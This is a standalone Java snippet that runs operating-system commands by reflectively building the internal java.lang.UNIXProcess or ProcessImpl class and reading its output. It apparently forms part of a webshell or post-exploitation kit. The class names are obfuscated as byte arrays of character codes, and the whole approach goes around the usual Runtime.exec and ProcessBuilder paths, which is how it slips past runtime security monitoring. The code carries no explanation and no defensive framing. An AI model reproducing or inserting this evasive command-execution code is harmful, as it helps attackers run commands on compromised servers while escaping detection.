1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114
| public static byte[] toCString(String s) { if (s == null) { return null; }
byte[] bytes = s.getBytes(); byte[] result = new byte[bytes.length + 1]; System.arraycopy(bytes, 0, result, 0, bytes.length); result[result.length - 1] = (byte) 0; return result; }
public static InputStream start(String[] strs) throws Exception { String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
Class clazz = null;
try { clazz = Class.forName(unixClass); } catch (ClassNotFoundException e) { clazz = Class.forName(processClass); }
Constructor<?> constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true);
assert strs != null && strs.length > 0;
byte[][] args = new byte[strs.length - 1][];
int size = args.length; for (int i = 0; i < args.length; i++) { args[i] = strs[i + 1].getBytes(); size += args[i].length; }
byte[] argBlock = new byte[size]; int i = 0;
for (byte[] arg : args) { System.arraycopy(arg, 0, argBlock, i, arg.length); i += arg.length + 1; }
int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1};
FileInputStream f0 = null; FileOutputStream f1 = null; FileOutputStream f2 = null;
try { if (f0 != null) f0.close(); } finally { try { if (f1 != null) f1.close(); } finally { if (f2 != null) f2.close(); } }
Object object = constructor.newInstance( toCString(strs[0]), argBlock, args.length, null, envc[0], null, std_fds, false );
Method inMethod = object.getClass().getDeclaredMethod("getInputStream"); inMethod.setAccessible(true);
return (InputStream) inMethod.invoke(object); }
static String inputStreamToString(InputStream in, String charset) throws IOException { try { if (charset == null) { charset = "UTF-8"; }
ByteArrayOutputStream out = new ByteArrayOutputStream(); int a = 0; byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) { out.write(b, 0, a); }
return new String(out.toByteArray()); } catch (IOException e) { throw e; } finally { if (in != null) in.close(); } }
public static void ReflectUNIXProcess(String... cmds) throws Exception { InputStream in= start(cmds); String ret=inputStreamToString(in,"UTF-8"); System.out.println(ret); }
|